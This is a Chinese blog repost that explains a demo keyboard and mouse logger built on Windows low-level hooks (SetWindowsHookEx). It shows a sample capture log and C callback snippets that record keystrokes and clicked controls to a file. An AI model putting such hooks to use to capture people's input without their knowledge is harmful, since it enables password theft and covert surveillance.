• 键盘、鼠标偷窥者[转]


    原帖地址

    运行压缩包中的Debug目录下的RuPengHooker.exe,然后开着程序,你就该干什么干什么,点点程序、输入点东西,然后关闭那个程序,看到了吗?哈哈,你输入的东西我都记下来了!!!呵呵,我是好人,不做坏事。

    (119,686)【】(ToolbarWindow32)按下鼠标左键
    (Enter)被按下
    (H)被按下
    (E)被按下
    (L)被按下
    (L)被按下
    (O)被按下
    (181,323)【无标题 - 记事本】(Notepad)按下鼠标左键
    (191,390)【】(#32768)按下鼠标左键
    (276,422)【FolderView】(SysListView32)按下鼠标左键
    (276,422)【FolderView】(SysListView32)按下鼠标左键
    (598,440)【是(&Y)】(Button)按下鼠标左键
    (818,297)【a.txt - 记事本】(Notepad)按下鼠标左键
    (818,288)【如鹏网 www.RuPeng.com 大学生计算机学习社区】(#32770)按下鼠标左键



    具体原理就是Windows钩子,通过SetWindowsHookEx(WH_MOUSE_LL,MouseHookProc,instance,0);将MouseHookProc函数设定为鼠标钩子的回调,当有鼠标动作发生的时候MouseHookProc函数就会被调用,在MouseHookProc函数里就可以取到鼠标的动作、位置等了:

    1.    LPMOUSEHOOKSTRUCT lpMouseHook = (MOUSEHOOKSTRUCT FAR*)lParam;
    2.    if(WM_LBUTTONDOWN==wParam)
    3.    {
    4. TCHAR lpText[256];
    5. TCHAR lpClassName[256];
    6. HWND hwnd = WindowFromPoint(lpMouseHook->pt);
    7. GetWindowText(hwnd,lpText,sizeof(lpText));
    8. GetClassName(hwnd,lpClassName,sizeof(lpClassName));
    9. fprintf(fp,"(%i,%i)【%s】(%s)按下鼠标左键\n",lpMouseHook->pt.x,lpMouseHook->pt.y,lpText,lpClassName);
    10.    }



    这里通过WindowFromPoint得到鼠标当前位置下的控件的句柄,然后通过GetWindowText、GetClassName得到控件的Text和类名,哈哈,我就知道你点了哪个控件了。

    键盘钩子也是一样
    ,记录键盘同样是通过SetWindowsHookEx(WH_KEYBOARD_LL,KeyHookProc,instance,0);设置键盘钩子,用KeyHookProc函数来响应消息:

    1. LPKBDLLHOOKSTRUCT lpKeyHook = (LPKBDLLHOOKSTRUCT)lParam;
    2. if(WM_KEYDOWN==wParam||WM_SYSKEYDOWN==wParam)
    3. {
    4. long lKey = (LOWORD(lpKeyHook->scanCode)<<16);
    5. TCHAR lpKeyName[256];
    6. GetKeyNameText(lKey,lpKeyName,sizeof(lpKeyName));
    7. fprintf(fp,"(%s)被按下\n",lpKeyName);
    8. }



    因为lpKeyHook->scanCode的地位代表扫描码,所以需要首先用LOWORD取高位,然后在右移16位,最后通过GetKeyNameText得到按键对应的描述(A、B、C还是F1还是Enter)。

    源码下载

    作者:BuildNewApp
    出处:http://syxchina.cnblogs.comBuildNewApp.com
    本文版权归作者、博客园和百度空间共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则作者会诅咒你的。
    如果您阅读了我的文章并觉得有价值请点击此处,谢谢您的肯定1。
  • 相关阅读:
    2022.6.10 Vue框架学习 信1905
    Unity加强版或专业版,输入序列号提示,您的序列号无效
    简单又快速的格式化日期时间方法
    webstorm常用配置
    20192423 202120222 《网络与系统攻防技术》实验八实验报告
    嵌入式开发入门名词概念
    USB移动硬盘 显示打印设备和打印机
    TCP连接:SYN ACK RST UTG PSH FIN
    php 跑
    前端——html——html列表
  • 原文地址:https://www.cnblogs.com/syxchina/p/2197422.html
Copyright © 2020-2023  润新知